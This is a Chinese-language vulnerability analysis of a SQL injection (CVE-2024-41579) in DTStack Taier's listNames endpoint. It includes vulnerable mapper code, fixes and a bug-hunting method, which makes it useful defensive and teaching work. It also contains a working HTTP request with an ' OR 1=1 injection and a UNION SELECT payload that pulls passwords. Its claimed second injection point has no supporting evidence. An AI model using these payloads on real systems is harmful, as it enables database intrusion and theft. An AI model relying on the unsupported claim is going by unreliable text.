DTStack Taier 1.4.0 listNames sql注入分析(CVE-2024-41579)
字数 1029 2025-08-22 12:22:37
DTStack Taier 1.4.0 SQL注入漏洞分析(CVE-2024-41579) 教学文档
1. 漏洞概述
本文档详细分析DTStack Taier 1.4.0版本中存在的SQL注入漏洞(CVE-2024-41579)。该漏洞存在于listNames接口中,由于不安全的SQL语句拼接方式导致攻击者可以构造恶意输入执行任意SQL命令。
2. 漏洞定位
2.1 漏洞触发点
- 触发接口:
/taier/api/console/listNames - 触发参数:
jobName - 请求方式: POST
2.2 调用链分析
ConsoleController.listNames
→ ConsoleService.listNames
→ ScheduleJobCacheMapper.listNames
3. 漏洞原理分析
3.1 SQL拼接方式
在Java中SQL拼接主要有两种方式:
- $符号: 直接拼接SQL语句,存在SQL注入风险
@Select("SELECT * FROM users WHERE name = ${name}") - #符号: 使用预编译参数,安全
@Select("SELECT * FROM users WHERE name = #{name}")
3.2 漏洞代码分析
在ScheduleJobCacheMapper.xml文件中,listNames查询使用了不安全的$符号进行参数拼接:
<select id="listNames" resultType="java.lang.String">
SELECT job_name FROM schedule_job_cache
WHERE job_name LIKE '%${jobName}%'
</select>
4. 漏洞利用
4.1 基本利用方式
攻击者可以构造恶意的jobName参数进行SQL注入:
POST /taier/api/console/listNames HTTP/1.1
Content-Type: application/x-www-form-urlencoded
jobName=' OR 1=1 --
这将导致执行的SQL语句变为:
SELECT job_name FROM schedule_job_cache WHERE job_name LIKE '%' OR 1=1 -- %'
4.2 进阶利用
可以构造更复杂的payload进行数据库信息泄露、数据篡改等操作:
jobName=' UNION SELECT password FROM users --
5. 发现的第二个注入点
在分析过程中还发现了另一个SQL注入点:
5.1 第二个注入点详情
- 触发接口:
/taier/api/console/jobStick - 触发参数:
jobId - 请求方式: POST
5.2 相关代码
在ScheduleJobCacheMapper.xml中:
<select id="getOne" resultMap="BaseResultMap">
SELECT * FROM schedule_job_cache WHERE job_id = #{jobId}
</select>
虽然此处使用了安全的#符号,但在Controller层存在不安全的参数传递方式。
6. 修复建议
-
使用预编译语句:
将所有的${}替换为#{}:<select id="listNames" resultType="java.lang.String"> SELECT job_name FROM schedule_job_cache WHERE job_name LIKE CONCAT('%', #{jobName}, '%') </select> -
输入验证:
在Controller层对输入参数进行严格的格式验证和过滤。 -
最小权限原则:
数据库连接使用最小必要权限的账户。 -
使用ORM框架:
考虑使用MyBatis等ORM框架的安全查询方式。
7. 漏洞挖掘方法论
通过本案例可以总结以下漏洞挖掘方法:
- 寻找接受用户输入的接口
- 追踪参数传递路径直到数据库操作层
- 检查SQL语句拼接方式(
$vs#) - 验证参数是否经过充分过滤
- 尝试构造边界条件测试
8. 参考
- 先知社区原文
- MyBatis官方文档关于SQL注入防护的部分
- OWASP SQL注入防护指南